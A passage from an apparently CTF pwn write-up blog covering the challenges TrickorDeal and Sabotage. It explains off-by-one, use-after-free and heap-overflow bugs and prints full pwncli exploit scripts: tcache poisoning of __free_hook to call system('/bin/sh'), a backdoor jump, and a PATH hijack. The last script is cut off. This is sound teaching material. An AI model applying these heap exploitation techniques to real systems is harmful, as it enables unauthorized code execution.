class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>There is a <code>off by one</code> vuln in <code>edit_order</code>, so that you can change the size of the next chunk.</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520201405600.png' alt="image-20220520201405600"></p> <p>Steps of my solution:</p> <ol> <li>leak libc address by means of the remaining address of <code>bk</code> of a chunk</li> <li>make overlapping chunk using off-by-one</li> <li>use <code>tcache poisoning attack</code> to allocate a chunk at <code>__free_hook</code></li> <li>change <code>__free_hook</code> to <code>system</code> and free a chunk with <code>/bin/sh</code></li> </ol> <h3 class="heading-element" id="exp-6"><span>EXP</span> <a href="#exp-6" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">new_order</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;1&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] For how many: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">sa</span><span class="p">(</span><span class="s2">&#34;[*] What would you like to order: &#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">show_order</span><span class="p">(</span><span class="n">i</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] Number of order: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">edit_order</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;3&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] Number of order: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">sa</span><span class="p">(</span><span class="s2">&#34;[*] New order: &#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">dele_order</span><span class="p">(</span><span class="n">i</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;4&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] Number of order: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fina</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;5&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x18</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x18</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span> <span class="s2">&#34;deadbeef&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x10</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x500</span><span class="p">,</span> <span class="s2">&#34;deadbeef&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="s2">&#34;/bin/sh</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># leak</span> </span></span><span class="line"><span class="cl"><span class="n">dele_order</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="s2">&#34;deadbeef&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">show_order</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">libc_addr</span> <span class="o">=</span> <span class="n">recv_current_libc_addr</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">set_current_libc_base_and_log</span><span class="p">(</span><span class="n">libc_addr</span><span class="p">,</span> <span class="mh">0x3ec0d0</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">edit_order</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x18</span><span class="o">+</span><span class="s2">&#34;</span><span class="se">\x51</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">dele_order</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">dele_order</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x48</span><span class="p">,</span> <span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x20</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">__free_hook</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">}))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x10</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">new_order</span><span class="p">(</span><span class="mh">0x10</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">system</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">dele_order</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520202139221.png' alt="image-20220520202139221"></p> <h2 class="heading-element" id="8-trickordeal"><span>8-TrickorDeal</span> <a href="#8-trickordeal" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="vulnerability-7"><span>Vulnerability</span> <a href="#vulnerability-7" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>leak code base address in <code>buy</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520202503869.png' alt="image-20220520202503869"></p> <p><code>uaf</code> in <code>steal</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520202608565.png' alt="image-20220520202608565"></p> <p>and there is a backdoor function:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520202643679.png' alt="image-20220520202643679"></p> <p>step:</p> <ol> <li>leak code base address</li> <li>replace the <code>printStorage</code> with <code>unlock_storage</code></li> <li>input <code>1</code> to get shell</li> </ol> <h3 class="heading-element" id="exp-7"><span>EXP</span> <a href="#exp-7" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">show</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] What do you want to do? &#34;</span><span class="p">,</span> <span class="s2">&#34;1&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">buy</span><span class="p">(</span><span class="n">data</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] What do you want to do? &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sa</span><span class="p">(</span><span class="s2">&#34;[*] What do you want!!? &#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">offer</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">c</span><span class="o">=</span><span class="s1">&#39;n&#39;</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] What do you want to do? &#34;</span><span class="p">,</span> <span class="s2">&#34;3&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] Are you sure that you want to make an offer(y/n): &#34;</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s2">&#34;y&#34;</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;How long do you want your offer to be? &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">sa</span><span class="p">(</span><span class="s2">&#34;[*] What can you offer me? &#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nd">@sleep_call_after</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">steal</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;[*] What do you want to do? &#34;</span><span class="p">,</span> <span class="s2">&#34;4&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">buy</span><span class="p">(</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x38</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">ru</span><span class="p">(</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x38</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">rl</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">code_base</span> <span class="o">=</span> <span class="n">u64_ex</span><span class="p">(</span><span class="n">m</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">-</span> <span class="mh">0x9b0</span> </span></span><span class="line"><span class="cl"><span class="n">log_address</span><span class="p">(</span><span class="s2">&#34;code_base&#34;</span><span class="p">,</span> <span class="n">code_base</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">steal</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">offer</span><span class="p">(</span><span class="mh">0x50</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">flat_z</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x40</span><span class="p">:</span> <span class="p">[</span><span class="n">code_base</span> <span class="o">+</span> <span class="mh">0xeff</span><span class="p">]</span><span class="o">*</span><span class="mi">2</span> </span></span><span class="line"><span class="cl"><span class="p">}),</span> <span class="n">c</span><span class="o">=</span><span class="s1">&#39;y&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">show</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520202916507.png' alt="image-20220520202916507"></p> <h2 class="heading-element" id="9-sabotage"><span>9-Sabotage</span> <a href="#9-sabotage" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><h3 class="heading-element" id="vulnerability-8"><span>Vulnerability</span> <a href="#vulnerability-8" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>In <code>enter_command_control</code>, there is a heap overflow:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220520203139469.png' alt="image-20220520203139469"></p> <p>The difference between <code>putenv</code> and <code>setenv</code> in glibc:</p> <ul> <li><code>putenv</code> will not allocate memory, it uses the parameter and insert the point you offer into the environment variable list; if the env exists, replace it</li> <li><code>setenv</code> will call <code>malloc</code> to allocate memory and then copy source string to the new chunk; if the env exists, replace it</li> </ul> <p>When add a new env variable or delete a env variable, <code>realloc</code> will be called to adjust the memory dynamically.</p> <p><strong>Note:</strong> if there&rsquo;re two or more environment variables with a same <code>key</code> in the environment variable list, only the last one is effective!</p> <p>Steps of getting shell:</p> <ol> <li>input <code>2</code> to call <code>putenv</code>, and make <code>__environ</code>(it&rsquo;s a global variable in glibc) point to the heap area instead of stack area, by the way, write <code>/bin/sh</code> in <code>/tmp/panel</code></li> <li>input <code>1</code> and make use of <code>heap oveflow</code> to change the content of <code>ACCESS</code> environment variable, replace it with <code>PATH=/tmp/:/bin:/use/bin</code>, when call <code>system(&quot;panel&quot;)</code>, it will find the executable binary in <code>PATH</code>, and now <code>/tmp/panel</code> will be chosen firstly and it will be executed with <code>/bin/sh -c</code></li> <li>when a script don&rsquo;t specify a interpreter with <code>#!xxxxx</code>, every line in the file will be executed with the default shell, which is <code>/bin/sh</code></li> </ol> <h3 class="heading-element" id="exp-8"><span>EXP</span> <a href="#exp-8" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">#!/usr/bin/python3 </span></span><span class="line"><span class="cl"># -*- encoding: utf-8 -*- </span></span><span class="line"><span class="cl"># author: roderick </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">from pwncli import * </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">cli_script() 